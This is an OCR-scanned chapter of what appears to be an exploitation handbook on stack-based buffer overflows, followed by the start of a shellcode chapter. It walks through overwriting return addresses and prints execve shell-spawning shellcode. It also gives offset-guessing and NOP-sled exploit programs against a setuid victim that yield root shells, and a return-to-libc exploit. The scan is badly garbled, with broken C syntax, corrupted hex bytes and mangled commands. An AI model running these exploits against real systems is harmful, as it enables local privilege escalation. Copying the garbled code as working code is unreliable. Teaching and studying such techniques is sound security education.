CHAPTER
2

Stack Overflows

Stack-based buffer overflows have historically been one of the most popular and
best understood methods of exploiting software. Tens, if not hundreds, of papers
have been written on stack overflow techniques on all manner of popular
architectures. One of the most frequently referred to, and likely the first public
discourse on stack overflows, is Aleph One's "Smashing the Stack for Fun and
Profit." Written in 1996, the paper explained for the first time in a clear and
concise manner how buffer overflow vulnerabilities are possible and how they
can be exploited. We recommend that you read the original paper, published in
Phrack magazine and available at www.wiley.com/compbools/koziol .

Aleph One did not invent the stack overflow; knowledge and exploitation of
stack overflows had been passed around for a decade or longer before "Smashing
the Stack" was released. Stack overflows have theoretically been around for as
long as the C language, and exploitation of these vulnerabilities has occurred
regularly for well over 25 years. Even though they are likely the best understood
and most publicly documented class of vulnerability, stack overflow
vulnerabilities remain generally prevalent in software produced today. Check
your favorite security news list; it’s likely that a stack overflow vulnerability is
being reported even as you read this chapter.
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12 Chapter 2

Buffers

A buffer is defined as a limited, contiguously allocated set of memory.
The most common buffer in C is an array. We will focus on arrays in the
introductory material in this chapter.

Stack overflows are possible because no inherent bounds-checking exists
on buffers in the C or C++ languages. In other words, the C language
and its derivatives do not have a built-in function to ensure that data
being copied into a buffer will not be larger than the buffer can hold.

Consequently, if the person designing the program has not explicitly
coded the program to check for oversized input, it is possible for data to
fill a buffer, and if that data is large enough, to continue to write past the
end of the buffer. As you will see in this chapter, all sorts of crazy things
start happening once you write past the end of a buffer. Take a look at
this extremely simple example that illustrates how C has no
bounds-checking on buffers. (Remember, you can find this and many
other code fragments and programs on the Shellcoder's Handbook Web
site, www.wiley.com/ compbooks/koziol.)

int main ()
int array[5] = (1, 2, 3, 4, 5);
printf[*%d\n", array[5])

In this example, we have created an array in C. The array, nhamed array,
is five elements long. We have made a novice C programmer mistake
here, in that we forgot that an array of size five begins with element zero
array [ 0] and ends with element four, array [ 4] . We tried to read what
we thought was the fifth element of the array, but we were really reading
beyond the array, into the "sixth" element. The compiler elicits no errors,
but when we run this code, we get unexpected results.

[root@localhost /]# gcc buffer.c

[root@localhost /I# ./a.out
-1073743044
[root@localhost /]#

This example shows how easy it is to read past the end of a buffer; C
provides no built-in protection. What about writing past the end of a buffer?
This must be possible as well. Let's intentionally try to write way past the
buffer and see what happens.
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int main(){
int array[5];
inti;

for (i=0; i<=255; ++i){
array[i] = 10;

}

Again, our compiler gives us no warnings or errors. But, when we execute
this program, it crashes.

[root@localhost /# gcc buffer2.c
[root@localhost /]# ./a.out
Segmentation fault (core dumped)
[root@localhost /]#

As you might already know from experience, when a programmer creates a
buffer that has the potential to be overflowed and then compiles the code, the
program usually crashes or does not function as expected. The programmer
then goes back through the code, discovers where he or she made a mistake,
and fixes the bug.

But wait—what if user input is copied into a buffer? Or, what if a program
expects input from another program that can be emulated by a person, such as
a TCP/IP network-aware client?

If the programmer designs code that copies user input into a buffer, it may
be possible for a user to intentionally place more input into a buffer than it can
hold. This can have a number of different consequences, everything from
crashing the program to forcing the program to execute user-supplied instruc-
tions. These are the situations we are chiefly concerned with, but before we get
to control of execution, we first need to look at how overflowing a buffer stored
on the stack works from a memory management perspective.

The Stack

As discussed in Chapterl, the stack is a LIFO data structure. Much like a stack of
plates in a cafeteria, the last element placed on the stack is the first element that must
be removed. The boundary of the stack is defined by the extended stack pointer (ESP)
register, which points to the top of the stack. Stack-specific instructions, PUSH and
POP, use ESP to know where the stack is in memory. In
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14 Chapter 2

most architectures, especially IA32, on which this chapter is focused, ESP
points to the last address used by the stack. In other implementations, it
points to the first free address.

Data is placed onto the stack using the PUSH instruction; it is removed
from the stack using the POP instruction. These instructions are highly
optimized and efficient at moving data onto and off of the stack. Let's
execute two PUSH instructions and see now the stack changes.

PUSH 1
PUSH ADDR VAR

These two instructions will first place the value 1 on the stack, then place
the address of variable VAR on top of it. The stack will look like that
shown in Figure 2.1.

The ESP register will point to the top of the stack, address 643410h.
Values are pushed onto the stack in the order of execution, so we have
the value 1 pushed on first, and then the address of variable VAR. When a
PUSH instruction is executed, ESP is decremented by four, and the dword
is written to the new address stored in the ESP register.

Once we have put something on the stack, inevitably, we will want to
retrieve it—this is done with the POP instruction. Using the same example,
let's retrieve our data and address from the stack.

POP EAX
POP EBX

First, we load the value at the top of the stack (where ESP is pointing) into
EAX. Next, we repeat the POP instruction, but copy the data into EBX. The
stack now looks like that shown in Figure 2.2.

As you may have already guessed, the POP instruction only moves ESP
down address space—it does not write or erase data from the stack.
Rather, POP writes data to the operand, in this case first writing the
address of variable VAR to EAX and then writing the value 1 to EBX.

643410h | Address of variable VAR | +— ESP points to this address

643414h |1

643418h |

Figure 2.1. PUSHing values onto the stack
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|_ Address | Value

643410h | Address of variable VAR

|
g
[pe= ESP points to this address

6434140 |1

643418h |

Figure. 2.2. POPing walur_-; from the stack

Another relevant register to the stack is EBP. The EBP register is usually
used to calculate an address relative to another address, sometimes
called a frame pointer. Although it can be used as a general-purpose
register, EBP has historically been used for working with the stack. For
example, the following instruction makes use of EBP as an index:

MOV EAX, [EBP+10h]

This instruction will move a dword from 16 bytes down the stack (remem-
ber, the stack grows downward) into EAX.

Functions and the Stack

The stacks primary purpose is to make the use of functions more efficient.
From a low-level perspective, a function alters the flow of control of a
pro-gram, so that an instruction or group of instructions can be executed
independently from the rest of the program. More important, when a
function has completed executing its instructions, it returns control to the
original function caller. This concept of functions is most efficiently
implemented with the use of the stack.

Let's take a look at a simple C function and how the stack is used by the
function.

void function( int a, int b){
int array[5];

main()

{

function(1,2)
printf("This is where the return address points");

}
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In this example, instructions in main are executed until a function call
is encountered. The consecutive execution of the program now needs to
be interrupted, and the instructions in function need to be executed. The
first step is to push the arguments for function, a and b, backwards onto
the stack. When the arguments are placed onto the stack, the function is
called, placing the return address, or RET, onto the stack. RET is the
address stored in the instruction pointer (EIP) at the time function is
called. RET is the location at which to continue execution when the
function has completed, so the rest of the program can execute. In this
example, the address of the print f (" This is where the return
address points ") ; instruction will be pushed onto the stack.

Before any function instructions can be executed, the prolog is
executed. In essence, the prolog stores some values onto the stack so
that the function can execute cleanly. The current value of EBP is pushed
onto the stack, because the value of EBP must be changed in order to
reference values on the stack. When the function has completed, we will
need this stored value of EBP in order to calculate address locations in
main. Once EBP is stored on the stack, we are free to copy the current
stack pointer (ESP) into EBP. Now we can easily reference addresses
local to the stack.

The last thing the prolog does is to calculate the address space required
for the variables local to function and reserve this space on the stack.
Subtracting the size of the variables from ESP reserves the required
space. Finally, the variables local to function, in this case simply array,
are pushed onto the stack. Figure 2.3 represents how the stack looks at
this point.

| <l Low Memory Addresses and Bottom of Stack
b
a ‘

-

High Memory Addresses and Top of Stack

Figure 2.3. \fisual representation of the stack after a function has been called
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Stack Overflows 17

Now you should have a good understanding of how a function works
with the stack. Let's get a little more in-depth and look at what is going
on from an assembly perspective. Compile our simple C function with the
following
command:

[root@localhost /]# gcc -mpreferred-stack-boundary=2 -ggdb function.c
-o function

Make sure you use the -ggdb switch since we want to compile gdb
output for debugging purposes. gdb is the GNU project debugger; you
can read more about it at www . gnu . org/manual/gdb-4.17 /gdb.html. We also
want to use the preferred stack boundary switch, which will set up our
stack into dword size increments. Otherwise, gcc will optimize the stack
and make things more difficult than they need to be at this point. Load
your results into gdb.

[root@localhost /]# gdb function

GNU gdb 5.2.1

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to
change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was
configured as "i386-redhat-linux"...

(gdb)

First, look at how our function, function, is called. Disassemble main:
(gdb) disas main
Dump of assembler code "-Y function main:

0x8048438 <main>: push %ebp

0x8048439 <main+1>: move  %esp,%ebp

0x804843b <main+3>: sub $0x8,%esp

0x804843e <main+6>: sub $0x8,%esp

0x8048441 <main+9>: push  $0x2

0x8048443 <main+11>: push  $0x1

0x8048445 <main+13>: call 0x8048430 <function>
0x804844a <main+18>: add $0x10,%esp
0x804844d <main+21>: leave
0x804844e <main+22>: ret

End of assembler dump.

At <main+9> and <main+ 11>, we see that the values of our two parame-
ters (Ox1 and Ox2) are pushed backwards onto the stack. At
<main+13>, we see the call instruction, which, although it is not
expressly shown, pushes RET (EIP) onto the stack. Call then transfers flow
of execution to function, at address 0x8048430. Now, disassemble
function and see what happens when control is transferred there.
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(gdb) disas main
Dump of assembler code for function function:

0x8048430 <function>: push %ebp
0x8048431 <function>: move  %esp, %ebp
0x8048433 <function+1>: sub $0x8, %esp
0x8048436 <function+6>: leave

0x8048437 <function+9>: ret

End of assembler dump.

Since our function does nothing but set up a local variable, array, the
disassembly output is relatively simple. Essentially, all we have is the function
prolog, and the function returning control to main. The prolog first stores the
current frame pointer, EBP, onto the stack. It then copies the current stack
pointer into EBP at <function+1>. Finally, the prolog creates enough space on
the stack for our local variable, array, at<function+3>.array is only 5 bytes in
size, but the stack must allocate memory in 4-byte chunks, so we end up
reserving 8 bytes of stack space for our locals.

Overflowing Buffers on the Stack

You should now have a solid understanding of what happens when a function
is called and how it interacts with the stack. In this section, we are going to see
what happens when we stuff too much data into a buffer. Once you have
developed an understanding of what happens when a buffer is overflowed, we
can move into more exciting material, namely exploiting a buffer overflow and
taking control of execution.

Let’s create a simple function that reads user input into a buffer, and then
outputs the user input to stdout.

void return_input (void){
char array[30];

gets (array);
printf(%s\n”, array);

}

main() {
return_input();
return O;

}
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This function allows the user to put as many elements into array as
the user wants. Compile this program, again using the preferred stack
boundary switch. Run the pro?ram, and then enter some user input to
be fed into the buffer. For the first run, simply enter ten A characters.

[root@localhost /]# ./overflow
AAAAAAAAAA
AAAAAAAAAA

Our simple function returns what was entered, and everything works
fine. Now, lets put in 40 As, which will overflow the buffer and start to
write over other things stored on the stack.

[root@localhost /]# ./overflow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

[root@localhost /1#

We got a segfault as expected, but why? What happened on the stack?
Take a look at Figure 2.4, which shows how our stack looks after array is
overflowed.
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We filled up array with 32 bytes of A, and then kept on going. We
wrote the stored address of EBP, which is now a dword containing
hexadecimal representation of A. more important, we wrote over RET
with another dword of A. When the function exited, it read the value
stored in RET, which is now 0x41414141, the hexadecimal equivalent of
AAAA, and attempted to jump to this address. This address is not a valid
address, or is in protected address space, and the program terminated
with a segmentation fault. But don’t take our word for it; you should
look at the core file to see what was in the registers at the time of
segfault.

[root@localhost /]# gdb overflow core

(gdb) info registers

eax 0x29

ecx 0x1000

edx 0x0

ebx 0x401509e4
esp Oxbffffab8
ebp 0x41414141
esi 0x40016b64
edi Oxbffffb2c
eip 0x41414141

The output has been edited somewhat to conserve space, but you should see something
similar. EPB and EIP are both 0x41414141! That means we sup cessfully wrote our As
out of the buffer and over EBP and RET.

Controlling EIP

We have now successfully overflowed a buffer, overwritten EBP and RET, and therefore
caused our overflowed value to be loaded into EIP. All that has done is crash the program.
While this overflow can be useful in creating a denial of service, the program that you're
going to crash should be important enough that someone would care if it were not available.
In our case, its not. So, lets move on to controlling the path of execution, or basically,
controlling what gets loaded into EIP, the instruction pointer.

In this section, we will take the previous overflow example and instead of filling the buffer
with As, we will fill it with the address of our choosing. The address will be written in the buffer
and will overwrite EBP and RET with our new value. When RET is read off the stack and
placed into EIP, the instruction at the address will be executed. This is how we will control
execution.

First, we need to decide what address to use. Let's have the program call return Input
instead of returning control to main. We need to determine to what address to jump, so we
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will have to go back to gdb and find out what address calls return_input.
[root@localhost /]# gdb overflow

(gdb) disas main
Dump of assembler code for function main:

0x80484b8 <main>: push %ebp

0x80484b9 <main+1>: mov %esp, %ebp

0x80484bb <main+3>: call 0x8048490 <return_input>

0x80484c0 <main+8>: mov $0x0, %eax

0x80484c5 <main+13>: pop %ebp
0x80484c6 <main+22>: ret

End of assembler dump.

We see that the address we wat to use is 0x80484bb.

INN[ORNS Don’t expect to have exactly the same address-make sure you
check that you have found the correct address for return_input.

Since 0x80484bb does not translate cleanly into normal ASCII characters,
we need to write a simple program to turn this address into character input.
We can then take the output of this program and stuff it into the buffer in
over f low. In order to write this program, you need to determine the size of your
buffer and add 8 to it. Remember, the extra 8 bytes are for writing over EBP
and RET. Check the prolog of return_input using gdb; you will learn how much
space is reserved on the stack for array. In our case, we have the instruction:

0x8048493 <return_input+3>: sub $0x20,%esp

The 0x2 0 hex value equates to 32 in binary, plus 8 gives us 40. Now we
can write our address-to-character program.

main()(

int i=0;

char stuffing[44];

for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x80484bb;
puts(stuffing);

}
Let's dump the output of address_to_char into overflow. The program should

wait for user input, as before. The program then spits out what was entered,
which should be the output of address_to_char plus whatever you typed as
user input. Now that we have overwritten RET, the program will
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execute Ox80484bb,which has been written into EIP. It will "loop," and wait for user
input again.

[root@localhost /|# (./address_to_char;cat) | ./overflow
input

Qururuaacacsca < ___input

input

input

Congratulations, you have successfully exploited your first vulnerability!

Using an Exploit to Get Root Privileges

Now it is time to do something useful with the vulnerability you have just exploited.
Forcing overflow.c to ask for input twice instead of once is a neat trick, but hardly
something you would want to tell your friends about—"Hey, guess what, I caused a
15-line C program to ask for input twice!" No, we want you to be cooler than that.

This type of overflow is commonly used to gain root (uid 0) privileges. We can do this by
attacking a process that is running as root. You force it to execve a shell that inherits its
permissions. If the process is running as root, you will have a root shell. This type of local
overflow is increasingly popular because more and more programs do not run as
root—after they are exploited, you often must use a local exploit to get root-level access.

Spawning a root shell is not the only thing we can do when exploiting a vulnerable
program. Many subsequent chapters in this book cover exploitation methods other than
root shell spawning. Suffice it to say, a root shell is still one of the most common
exploitations and the easiest to understand.

Be careful, though. The code to spawn a root shell makes use of the execve system call.
What follows is a C++ language code for spawning a shell:

int mainQ(
char *name[2];

name[0] = "/bin/sh";

name[1] = OxO;
execve(name[0], name. 0x0);
exit(0);

If we compile this code and run it, we can see that it will spawn a shell for us.

[Jack@oday locall$ gcc shell.c -o shell
[Jack@0oday locall$ -/shell

Sh-2.05b#
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You might be thinking, this is great, but how do I inject C source code into a
vulnerable input area? Can we just type it in like we did previously with the A
characters? The answer is no. Injecting C source code is much more difficult
than that. We will have to inject actual machine instructions, or opcode, into the
vulnerable input area. To do so, we must convert our shell-spawning code to
assembly, and then extract the opcodes from our human-readable assembly.
We will then have what is termed shellcode, or the opcode that can be injected
into a vulnerable input area and executed. This is a long and involved process,
and we have dedicated several chapters in this book to it.

We won't go into great detail about how the shellcode is created from the C++
code; it is quite an involved process and explained completely in Chapter 3.
Let's take a look at the shellcode representation of the shell-spawning C++
code we previously ran.

~Xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x 1e\x89\x5e\x08\x89\x46""
~\X0Cc\Xb0O\X0b\x89\x F3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel""
"\XFRAAXFRAXFFAX2F\Xx62\x69\x6e\x2F\x73\x68;

Let's test it to make sure it does the same thing as the C code. Compile the
following code, which should allow us to execute the shellcode:

char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”

"\X0c\xbO\X0b\x89\xF3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel”
\XFRAXFRAXTFFAX2F\Xx62\x69\x6e\x2F\x73\x68";

int main(Q)

{

int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

Now run the program.

[Jack@oday local]$ gcc shellcode.c -o shellcode
[jack@0day local]$ ./shellcode
sh-2_05b#

Ok, great, we have the shell-spawning shellcode that we can inject into a
vulnerable buffer. That was the easy part. In order for our shellcode to be exe-
cuted, we must gain control of execution. We will use a strategy similar to that
in the previous example, where we forced an application to ask for input a
second time. We will overwrite RET with the address of our choosing,
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causing the address we supplied to be loaded into EIP and subsequently
executed. What address will we use to overwrite RET? Well,we will overwrite
it with the address of the first instrution in our injected shellcode. In this
way,when RET is popped off the stack and loaded into EIP,the first instruction
that is executed is the first instruction of our shellcode.

While this whole process may seem simple, it is actually quite difficult to
execute in real life. This is the place in which most people learning to hack for
the first time get furstrated and give up. We will go over some of the major
problems and hopefully keep you from getting frustrated along the way.

The Address Problem

One of the most difficult tasks you face when trying to execute user-supplied
shellcode is identifying the starting address of your shellcode. Over the years,
many different methods have been contrived to solve this problem. We will
cover the most popular method that was pioneered in the paper, "Smashing the
Stack."

One way to discover the address of our shellcode is to guess where the
shellcode is in memory. We can make a pretty educated guess, because we know
that for every program, the stack begins with the same address. If we know what
this address is, we can attempt to guess how far from this starting address our
shellcode is.

It is fairly easy to write a simple program to tell us the location of the stack
pointer (ESP). Once we know the address of ESP, we simply need to guess the
distance, or offset, from this address. The offset will be the first instruction in
our shellcode.

First, we find the address of ESP.
Unsigned long find_start(void){
asm__ (““movl %esp, %eax’);

¥
int main(Q{
printf (Ox%x\n" , find_start()) ;

}
Now we create a little program to exploit.

int main(int argc,char **argv[]){
char little_array[512];

if (argc > 1)
strcpy(little_array,argv[1l] );
¥
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This simple program takes command-line input and puts it into an
array with no bounds-checking. In order to get root privileges, we must
set this program to be owned by root, and turn the suid bit on. Now,
when you log in as a regular user (not root) and exploit the program,
you should end up with root access.

[jack@Oday local]$ sudo chown root victim

[jack@Oday local]$ sudo chmod +s victim

Nov, we'll construct a program that allows us to guess the offset
between the start of our program and the first instruction in our
shellcode. (The idea for this example has been borrowed from Lamagra.)

#include <stdlib.h>

#define offset_size 0
#define buffer_size 512
char sc[] =

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46""
"\X0c\Xxb0O\Xx0b\x89N\XxTF3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel""
\XFRAXTFRAXFR\X2TF\X62\x69\x6e\x2F\x73\x68";

unsigned long find_start(void){
__asm__("movl %esp,%eax');

¥

int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize =atoi(argv[l]);
if (argc > 2) offset =atoi(argv[2]);

addr = find_start() - offset;
printf("Attempting address:0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; 1 < bsize; i+=4)

*(addr_ptr++) = addr;

ptr += 4;
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for (i = 0;i< strlen(sc);i++)
*(ptr++) = sc[i];
buff(bsize-1) = \0’;

memcpy(buff,”BUF=",4);
putenv(buff);

system(“/bin/bash”);

To exploit the program, generate the shellcode with return address, and then run

the vulnerable program using the output of the shellcode generating program.

Assu

ming we don’t cheat, we have no way of knowing the correct offset, so we must

guess repeatedly until we get the spawned shell.

[jack@Oday local]$ ./attack 500
Using address: Oxbfffd768
[jack@Oday local]$ ./victim $BUF

Ok, nothing happened. That's because we didn't build an offset large enough

(remember, our array is 512 bytes).

[jack@Oday local]$ ./attack 800
Using address: Oxbfffe7c8
[jack@Oday local]$ ./victim $BUF
Segmentation fault

What happened here? We went too far, and we generated an
offset that was too large.

[jack@Oday local]$ ./attack 550
Using address: Oxbffff188
[jack@Oday local]$ ./victim $BUF
Segmentation fault

[lack@Oday local]$ ./attack 575
Using address: Oxbfffe798

[jack@Oday local]$ ./victim $BUF
Segmentation fault

[jack@Oday local]$ ./attack 590
Using address: 0xbffe908

[jack@Oday local]$ ./victim $BUF
Illegal instruction

It looks like attempting to guess the correct offset could take forever.

May

be we’ll be lucky with this attempt:

[jack@Oday local]$ ./attack 595
Using address: Oxbffe971
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Illegal instruction

[jack@0day local)$ ./attack 598
Using address: Oxbfffe9ea
[jack@0day local]$ ./victim $BUF
Illegal instruction

[jack@0day locall$ ./exploitl 600
Using address: Oxbfffeal4
[jack@0day local)$ ./hole $BUF
sh-2_05b# id

uid=0(root) gid=0(root) groups=0(root),10(wheel)
sh-2_05b#

Wow, we guessed the correct offset and the root shell spawned. Actually it
took us many more tries than we've shown here (we cheated a little bit, to be
honest), but they have been edited out to save space.

_ We ran this code on a Red Hat 9.0 box. Your results may be
different depending on the distribution, version, and many other factors.

Exploiting programs in this manner can be tedious. We must continue to guess
what the offset is, and sometimes, when we guess incorrectly, the pro-gram crashes.
That's not a problem for a small program like this, but restarting a larger application can
take time and effort. In the next section, we'll examine a better way of using offsets.

The NOP Method

Determining the correct offset manually can be difficult. What if it were possible to
have more than one target offset? What if we could design our shellcode so that many
different offsets would allow us to gain control of execution? This would surely make
the process less time consuming and more efficient, wouldn't it?

We can use a technique called the NOP Method to increase the number of potential
offsets. No Operations (NOPs) are instructions that delay execution for a period of time.
NOPs are chiefly used for timing situations in assembly, or in our case, to create a
relatively large section of instructions that does nothing. For our purposes, we will fill
the beginning of our shellcode with NOPs. If our offset "lands" anywhere in this NOP
section, our shell-spawning shellcode will eventually be executed after the processor
has executed all of the do-nothing NOP instructions. Nov, our offset only has to point
some-where in this large field of NOPs, meaning we don't have to guess the exact offset.
This process is referred to as padding with NOPs, or creating a NOP pad. You will hear
these terms again and again when delving deeper into hacking.

Let's rewrite our attacking program to generate the famous NOP pad prior to
appending our shellcode and the offset. The instruction that signifies a NOP
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on IA32 chipsets is 0x90.(There are many other instructions and combinations of
instructions that can be used to create a similar NOP effect ,but we won'’t get into these
in this chapeter.)

#include<stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90

char shellcode[]=
“\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d \x4e\x08\x8d \x56 \x0c\xcd \x80\xe8\xe1”
N\xf\xf\xff\x2f\x62 \x69 \x6e \ x2f\x73\x68”;

unsigned long get_sp(void) {

__asm__(“movl %esp,%eax’);

void main(int argc,char *argv(])
{
char *buff,*ptr;
long *addr_ptr,addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT _BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi (argv[1]) ;

if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);

}

addr = get_sp() - offset;

rrintf("Using address: Ox%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)
* (addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) — (strlen(shellcode)/2));

team(i500! § <prrelsardtsellcode); i++)

*(ptr++) = shellcodeli];
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buff[bsize — 1] = “\07;
memcpy (buff, "BUF=",4);
putenv(buff);
system(*'/bin/bash™);

Let's run our new program against the same target code and see
what happens.

[Jack@0day local]l$ ./nopattack 600

Using address: Oxbfffdd68

[jack@oday local]l$ ./victim $BUF
sh-2._.05b# id

uid=0(root) gid=0(root) groups=0(root),10(wheel)
sh-2.05%

Ok, we knew that offset would work. Let's try some others.

[Jack@0day local]$ ./nopattack 590

Using address: Oxbffff368

[Jack@Oday local]$ ./victim $BUF

sh-2_05b# id

uid=0(root) gid=0(root) groups=0(root),10(wheel)
sh-2.05b#

We landed in the NOP pad, and it worked just fine. How far can we go?

[jack@Oday local]$ ./nopattack 585

Using address: Oxbffffld8

[Jack@0day local]$ ./victim $BUF

sh-2.05b# id

uid=0(root) gid=0(root) groups=0(root),10(wheel)
sh-2.05b#

We can see with just this simple example that we have 15—25 times more
possible targets than without the NOP pad.

Defeating a Non-Executable Stack

The previous exploit works because we can execute instructions on the stack.
As a protection against this, many operating systems such as Solaris, OpenBSD,
and likely Windows in the near future will not allow programs to execute code on
the stack. This protection will break any type of exploit that relies on code to
executed on the stack
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As you may have already guessed, we don’t necessarily have to execute
code on the stack .It is simply an easier ,better-known, and more reliable
method of exploiting programs. When you do encounter a non-executable
stack, you can use an exploitation method known as Return to libc.
Essentially ,we will make use of the ever-popular and ever-present libc
library to export our system calls to libc library.T his will make
exploitation possible when the target stack is protected.

Return to libc

So, how does Return to libc actually work? From a high level, assume
for the sake of simplicity that we already have control of EIP. We can
put whatever address we want executed in to EIP; in short, we have
total control of program execution via some sort of vulnerable buffer.
Instead of returning control to instructions on the stack, as in a
traditional stack buffer overflow exploit, we will force the program to
return to an address that corresponds to r. specific dynamic library
function. This dynamic library function will not be on the stack,
meaning we can circumvent any stack execution restrictions. We will
carefully choose which dynamic library function we return to; ideally,
we want two conditions to be present:

B ]t must be a common dynamic library, present in most programs.

B The function within the library should allow us as much flexibility as
possible so that we can spawn a shell or do whatever we need to do.

The library that satisfies both of these conditions best is the libc
library. libc is the standard C libratr_y; it contains just about every
common C function that we take for granted. By nature, all the
functions in the library are shared (this is the definition of a function

brary), meaning that any program that includes libc will have access
to these functions. You can see where this is dgomg —if any program
can access these common functions, why couldn't one of our exploits?
All we have to do is direct execution to the address of the library
function we want to use (with the proper arguments to the function, of
course), and it will be executed.

For our Return to libc exploit, let's keep it simple at first and spawn a
shell. The easiest libc function to use is system () ; for the purposes of
this example, all it does is take in an argument and then execute that
argument with /bin/sh. So, we supply system( ) with /bin/sh as an
argument, and we will get a shell. We aren't going to execute any code
on the stack; we will jump right out to the address of system ()
function with the C library.

A point of interest is how to get the argument to system( . Essentially,
what we do is pass a pointer to the string (bin/sh) we want executed. We
know that normally when a program executes a function (in this example,
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we'll use the_function as the name), the arguments get pushed onto
the stack in reverse order. It is what happens next that is of interest to
us and will allow us to pass parameters to system () .

First, a CALL the_function instruction is executed. This CALL will
push the address of the next instruction (where we want to return to)
onto the stack. It will also decrement ESP by 4. When we return from
the_function, RET (or EIP) will be popped off the stack. ESP is then set
to the address directly following RET.

Now comes the actual return to system () . the_function assumes
that ESP is already pointing to the address that should be returned to.
It is going to also assume that the parameters are sitting there waiting
for it on the stack, starting with the first argument following RET. This
is normal stack behavior. We set the return to system () and the
argument (in our example, this will be a pointer to /bin/sh) in those 8
bytes. When the_function returns, it will return (or jump, depending on
how you look at the situation) into system () , and system () has our
values waiting for it on the stack.

Now that you understand the basics of the technique, let's take a look
at the preparatory work we must accomplish in order to make a Return
to libc exploit:

1. Determine the address of system () .

2. Determine the address of /bin/sh.
3. Find the address of exit () , so we can close the exploited
program cleanly.
The address of system() can be found within libc by simply
disassembling any C++ program.gcc will include libc by default when

compiling, so we can use the following simple program to find the
address of system () .

int main()
{
h

Now, let's find the address of system/() with gdb.
[root@Oday local]# gdb file
(gdb) break main

Breakpoint 1 at Ox804832e
(gdb) run
Starting program: /usr/local/book/file

Breakpoint 1, Ox0804832e in main ()

(ed®ap 50ns presents

$1 = {<text variable, no debug info>) 0x4203f2c0 <system>
(gdb)
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We see the address of system() is at 0x4203f2c0.Let’s also find the
address exit().

[root@Oday local]# gdb file

(gdb)break main

Breakpoint 1 at 0x804832e

(gdb)run

Starting program: /usr/local/book/file

Breakpoint 1, 0x0804832¢ in main ()

(gdb) p exit

#1= {<text variable, no debug info>} 0x42029bb0 <exit>
(gdb)

The address of exit () can be found at 0x42029bb0. Finally, to get the
address of /bin/sh we can use the memfetch tool found at http: //
lcamtuf. Coredump.cx/.memfetch will dump everything in memory for a
specific process; simply look through the binary files for the address of
/bin/sh_ Alternatively, you can store the /bin/ sh in an environment vari-

able, and then get the address of this variable.
Finally, we can craft our exploit for the original program—a very simple,

short, and sweet exploit. We need to

1. Fill the vulnerable buffer up to the return address with garbage data
2. Overwrite the return address with the address of system ()

3. Follow system () with the address of exit ()

4. Append the address of /bin/sh

Let's do it with the following code:
#include <stdlib.h>

#define offset_size 0
#define buffer_size 600
char sc[]=

“\xc0\xf2\x03\x42” //system|()
“\x02\x9b\xb2\x42” //exit()
“\xa0\x8a\xb2\x42” //binsh

unsigned long fine_start(void) {

__asm__(“movl %esp, %eax”);

team 509’ s presents



Stack Overflows 33

int main(int argc, char *argv(])

{
char *buff, *ptr;

long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;

int i;

if (argc > 1) bsize = atoi (argv[1l]) ;

if (arge > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr += 4;

for (i = 0, i < strlen(sc); i++)
*(ptr++) = scli];

buff[bsize - 1] = "\0%

memcpy(buff, BUF=",4);

putenv(buff);
system("/bin/bash");

Conclusion

In this chapter, you learned the basics of stack-based buffer overflows.
Stack overflows take advantage of data stored in the slack. The goal is to
inject instructions into a buffer and overwrite the return address. With
the return address overwritten, you will have control of the program's
execution flow. From here, you insert shellcode, or instructions to spawn
a root shell, which is then executed. A large portion of the rest of this
book covers more advanced stack overflow topics
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Shellcode

Shellcode is defined as a set of instructions injected and then executed by
an exploited program. Shellcode is used to directly manipulate registers
and the function of a program, so it must be written in hexadecimal
opcodes. You can-not inject shellcode written from a high-level
language, and there are subtle nuances that will prevent shellcode from
executing cleanly. This is what makes writing shellcode somewhat
difficult, and also somewhat of a black art. In this chapter, we are going
to lift the hood on shellcode and get you started writing your own.

The term shellcode is derived from its original purpose—it was the
specific portion of an exploit used to spawn a root shell. This is still the
most common type of shellcode used, but many programmers have
refined shellcode to do more, which we will cover in this chapter. As you
have seen in Chapter 2, shell-code is placed into an input area, and then
the program is tricked into executing the supplied shellcode. If you
worked the examples in the previous chapter, you have already made
use of shellcode that can exploit a program.

Understanding shellcode and eventually writing your own is, for many
reasons, an essential hacking skill. First and foremost, in order to
determine that a vulnerability is indeed exploitable, you must first
exploit it. This may seem like common sense, but quite a number of
people out «sere are willing to state whether a vulnerability is exploitable
or not without providing solid evidence. Even worse, sometimes a
programmer claims a vulnerability is not exploitable when it really is
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(usually because the original discoverer couldn’t figure out how to exploit
it and assumed that because he or she couldn’t figure it out , no one else
could). Additionally, software vendors will often release a notice of a
vulnerability but not provide an exploit. In these cases, you may have to
write your own shellcode for your exploit.

